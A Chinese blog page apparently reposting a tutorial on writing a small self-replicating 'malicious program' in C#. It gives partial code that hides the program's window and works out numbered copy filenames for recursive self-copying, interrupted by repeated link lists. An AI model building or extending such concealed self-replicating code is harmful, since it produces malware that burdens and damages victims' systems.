• 注册
  • 关于作者
    企业认证:趣记站长
    关注 6 粉丝 4 喜欢 9 内容 992
    江西省·南昌市
    聊天 送礼
    • 查看作者
    • 病毒及流氓软件自我复制的简单实现(C#)

        最近朋友的电脑中了病毒,让我跑了三次,费了九牛二虎之力,几种杀毒软件还是没有能把病毒全清除掉,最后没有办法,只能把资料复制出来,把硬盘重新分区了再装系统,装上了可以免费使用的AntiVir,于是乎世界终于清静。 

        不仅因为Windows系统的脆弱,而且因为病毒无休止的自我复制和满硬盘的藏匿,使得我们脆弱的神经不堪重负,面对千疮百孔,有着莫名其妙而又千奇百怪的名字文件夹和文件的系统,相信大多数人都会选择重装系统。病毒和流氓软件总是让人气愤!那么,计算机程序怎么实现自我复制呢?其实这非常的简单。下面我将用C#简单的实现一个能够自我复制的小小的恶意程序。 

        程序要实现下面几个功能。

        第一,运行时不出现运行界面,当然,

      实例:用Visual C#制作新闻阅读器
      用C#实现全屏幕截图,.Net网站独立配置文件读写方案,SmartSoft中用C#.Net实现AutoCAD块属性提取,.NET组件和COM组件之间的相互操作,.net中前台javascript与后台c#相互调用,正确理解C#中的ref关键字,Visual C#2005中使用正则表达式,实例:用Visual C#制作新闻阅读器,病毒及流氓软件自我复制的简单实现(C#),在.NET中使用域对象持续模式,汇总c#.net常用函数和方法集,C#开发的两个原则的深入讨论,c#.net常用函数列表,在C#程序设计中使用Win32类库,用C#轻松在DOTNET中实现缩略图,使用C#编写的一个定时关机程序,深入理解C#编程中的组件-事件-委托,通过Visual C#.NET建一个DTS任务,用C#的Raw Socket实现网络封包监视,利用C#实现标准的 Dispose模式
      Visual C#

      在任务管理器里,还是可以看到进程的,道行再深的病毒也不可能无迹可寻。

        第二,程序在运行目录下自我复制n份。

        第三,采用递归复制的方法,即第一个程序生成第二个程序,第二个程序生成第三个程序,以此类推。

        源代码很简单,下面来分析一下:

      以下是引用片段:

      35 // 不在任务栏显示 

      36 this.ShowInTaskbar = false; 

      37 // 窗体透明 

      38 this.Opacity = 0; 

        System.Windows.Forms.Form类封装了一般的Windows窗口程序大部分特性,极大的简化窗口界面的设计过程,上面这两个属性用于隐藏我们的程序的运行状态,第一个ShowInTaskbar属性,设置为否时,程序就不会在状态栏上面显示。第二个Opacity属性,表示窗口的不透明度,取值在0到100之间。0%的不透明度也就是100%透明了。这样,在程序运行时,你就看不见窗体了。

      以下是引用片段:

      44 // 默认复制次数 

      45 const int TOTAL = 100; 

      46 int _count = TOTAL; 

      47 // 正在运行的程序路径和文件名 

      48 string _file = Application.ExecutablePath; 

      49 // 正在运行的程序路径 

      50 string _path = Application.StartupPath; 

      51 // 正在运行的程序文件名  

      52 string _name = _file.Replace(string.Format("{0}\\", _path), string.Empty).ToLower(); 

      53 try 

      54 { 

      55  _count = int.Parse(_name.Replace(".exe", string.Empty)); 

      56  _count--; 

      57 } 

      58 catch 

      59 { 

      60 } 

      61 finally 

      62 { 

      63 } 

      64 // 目标文件 

      65 string _target = string.Format("{0}\\{1}.exe", _path, _count.ToString("000")); 

      实例:用Visual C#制作新闻阅读器
      用C#实现全屏幕截图,.Net网站独立配置文件读写方案,SmartSoft中用C#.Net实现AutoCAD块属性提取,.NET组件和COM组件之间的相互操作,.net中前台javascript与后台c#相互调用,正确理解C#中的ref关键字,Visual C#2005中使用正则表达式,实例:用Visual C#制作新闻阅读器,病毒及流氓软件自我复制的简单实现(C#),在.NET中使用域对象持续模式,汇总c#.net常用函数和方法集,C#开发的两个原则的深入讨论,c#.net常用函数列表,在C#程序设计中使用Win32类库,用C#轻松在DOTNET中实现缩略图,使用C#编写的一个定时关机程序,深入理解C#编程中的组件-事件-委托,通过Visual C#.NET建一个DTS任务,用C#的Raw Socket实现网络封包监视,利用C#实现标准的 Dispose模式
      Visual C#

    • 0
    • 0
    • 0
    • 58
    • 单栏布局 侧栏位置: